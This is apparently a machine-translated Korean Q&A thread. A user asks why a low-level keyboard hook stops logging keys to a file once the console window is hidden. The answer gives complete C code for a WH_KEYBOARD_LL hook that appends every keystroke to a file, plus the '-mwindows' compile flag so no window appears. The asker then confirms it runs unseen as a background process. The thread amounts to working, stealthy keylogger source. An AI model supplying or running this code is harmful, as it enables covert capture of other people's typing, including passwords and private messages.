2017-10-17 11 views
0

키를 연결하여 파일에 기록하면 모든 것이 잘되지만 콘솔 창을 숨기면 키를 연결하여 파일로 인쇄 할 수 없습니다. 이 문제를 없애시겠습니까? 아래로 내려 갔을 때 ShowWindow() 기능을 제거했지만 열쇠를 연결할 수는 있었지만 그렇지 않은 경우 나는 그렇지 않습니다. 그 과정은 아직 작업 관리자에서 실행 중입니다.콘솔 창이 보이지 않게 만들기

여기 내 예제 코드를 참조하십시오

KBDLLHOOKSTRUCT kbdSTRUCT; 

int APIENTRY WinMain(HINSTANCE hinstance, HINSTANCE hprevious, LPSTR cmdline, int cmdshow) { 

    HWND wnd; 
    wnd = GetConsoleWindow(); 
    ShowWindow(wnd, FALSE); 

    HHOOK kbdHOOK; 
    kbdHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0); 

    MSG msgg; 
    while(GetMessage(&msgg, NULL, 0, 0) > 0){ 
    TranslateMessage(&msgg); 
    DispatchMessage(&msgg); 
    } 

} 
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar){ 
    if(nCode >= 0){ 
    if(wPar == 256){ 
     kbdSTRUCT = *(KBDLLHOOKSTRUCT *)lPar; 

     if(kbdSTRUCT.vkCode == 0x90){ 
     //fprintf function here to write to a file 
     return CallNextHookEx(NULL, nCode, wPar, lPar); 
     } 

    } 
    } 
} 

당신에게 너무 감사

+0

왜 가짜 콘솔 창을 필요합니까? 콘솔 창과 관련된 줄을 제거하면됩니다. –

+0

Ido는 가짜 콘솔 창을 필요로하지 않습니다. @BarmakShemirani 당신은 질문을 읽지 않았습니까? setwindowshookex에 의해 t 보이지 않게함으로써 콘솔 창을 제거하려고 할 때 그 기능을 잃습니다. – turmuka

+0

콘솔 창이 없습니다. 'WinMain'은 콘솔 창을 만들지 않습니다. 'GetConsoleWindow'는 당신이 프로그램을 작성한 것처럼'NULL'을 리턴합니다. 어떤 컴파일러를 사용하고 있습니까? –

답변

1

GCC를 사용하는 경우, -mwindows는 Windows 서브 시스템, 진입 점 WinMain

경우에는 콘솔 창에 표시되지 않습니다 이런 식으로 설정합니다
gcc myfile.c -mwindows -o myfile.exe 

SetWindowsHookEx 결과를 저장하려면 전역 변수를 사용하고 kbdProc을 전달하고에 사용하십시오.

#include <Windows.h> 
#include <stdio.h> 

HHOOK hhook = NULL; 
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar) 
{ 
    if(nCode >= 0) { 
     if(wPar == WM_KEYDOWN) { //or WM_KEYUP! 
      KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lPar; 
      int c = kb->vkCode; 
      FILE *file = fopen("test", "a"); 
      switch(c) { 
      case VK_NUMLOCK: fprintf(file, "VK_NUMLOCK\n"); break; 
      case VK_RETURN: fprintf(file, "\n"); break; 
      default: fprintf(file, "%c", c); break; 
      } 
      fclose(file); 
     } 
    } 
    return CallNextHookEx(hhook, nCode, wPar, lPar); 
} 

int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) 
{ 
    hhook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0); 
    MSG msg; 
    while(GetMessage(&msg, NULL, 0, 0) > 0) { 
     TranslateMessage(&msg); 
     DispatchMessage(&msg); 
    } 
    UnhookWindowsHookEx(hhook); 
    return 0; 
} 

올바른 창 상수를 사용해야합니다. 예 : ShowWindow(wnd, FALSE) 대신 ShowWindow(wnd, SW_HIDE)입니다. 256 대신 WM_KEYUP입니다. 그렇지 않으면 코드는 다음 날을 볼 때 너무 혼란 스럽습니다. 다른 사람들은 그것을 이해하지 못할 것입니다.

당신은 상/소문자를 찾을 수 VK_NUMLOCK에 추가 Shift 키를 조사 할 필요가

은 ...

+0

이 작동했습니다! 'SetWindowsHookEx()'의 매개 변수를 컴파일하고 변경하는 동안 인수에'-mwindows'를 추가하면 원하는대로 프로그램이 실행됩니다. 그리고 내가 필요로하는 IDE는'-mwindows' 명령 만 있으면됩니다. – turmuka

+0

또한 main 함수를'APIENTRY'로 변경했습니다. 감사. 이것은 정말로 흥미 롭습니다. 이제 백그라운드 프로세스로 실행할 수 있습니다. – turmuka